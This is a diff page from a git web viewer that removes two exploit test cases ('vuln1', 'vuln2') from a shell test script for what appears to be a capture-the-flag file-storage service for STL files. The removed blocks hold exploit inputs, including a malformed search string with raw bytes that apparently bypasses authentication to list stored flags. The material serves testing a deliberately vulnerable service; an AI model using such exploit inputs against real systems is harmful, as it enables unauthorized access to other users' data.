aboutsummaryrefslogtreecommitdiffstats
path: root/tests
diff options
context:
space:
mode:
Diffstat (limited to 'tests')
-rw-r--r--tests/test.sh76
1 files changed, 0 insertions, 76 deletions
diff --git a/tests/test.sh b/tests/test.sh
index 4835024..159e435 100644
--- a/tests/test.sh
+++ b/tests/test.sh
@@ -97,82 +97,6 @@ elif [ "$1" == "stl-upload" ]; then
echo "$name"
) | checkleaks
-elif [ "$1" == "vuln1" ]; then
- cleanuploads
-
- announce "Testing Flagstore 1"
-
- echo -e "\n--- Uploading target STL ---\n" 1>&2
- (
- echo "echo"
- echo "upload"
- cat "$TESTDATA/flag1.stl" | wc -c
- cat "$TESTDATA/flag1.stl"
- echo "N0TaFL4G"
- echo "exit"
- ) | connect
-
- echo -e "\n--- Uploading evil STL ---\n" 1>&2
- (
- echo "echo"
- echo "upload"
- cat "$TESTDATA/evil1.stl" | wc -c
- cat "$TESTDATA/evil1.stl"
- echo "EV1L"
- echo "exit"
- ) | connect
-
- echo -e "\n--- Testing Exploit ---\n" 1>&2
- (
- echo "echo"
-
- # try index 0
- echo "search"
- echo "EV1L"
- echo "0"
- echo "n"
-
- echo "search last"
- echo "0"
- echo "n"
-
- # try index 1
- echo "search"
- echo -e "EV1L"
- echo "0"
- echo "n"
-
- echo "search last"
- echo "1"
- echo "n"
- echo "exit"
- ) | connect
-
-elif [ "$1" == "vuln2" ]; then
- cleanuploads
-
- announce "Testing Flagstore 2"
-
- echo -e "\n--- Uploading target STL ---\n" 1>&2
- (
- echo "echo"
- echo "auth test"
- echo "upload"
- cat "$TESTDATA/flag1.stl" | wc -c
- cat "$TESTDATA/flag1.stl"
- echo "N0TaFL4G"
- echo "exit"
- ) | connect
-
- echo -e "\n--- Testing Exploit ---\n" 1>&2
- (
- echo "echo"
- echo -e "search \xff\xff\xff\xff\xff0000000000000000"
- echo "auth"
- echo "list"
- echo "exit"
- ) | connect
-
elif [ "$1" == "auth-upload" ]; then
cleanuploads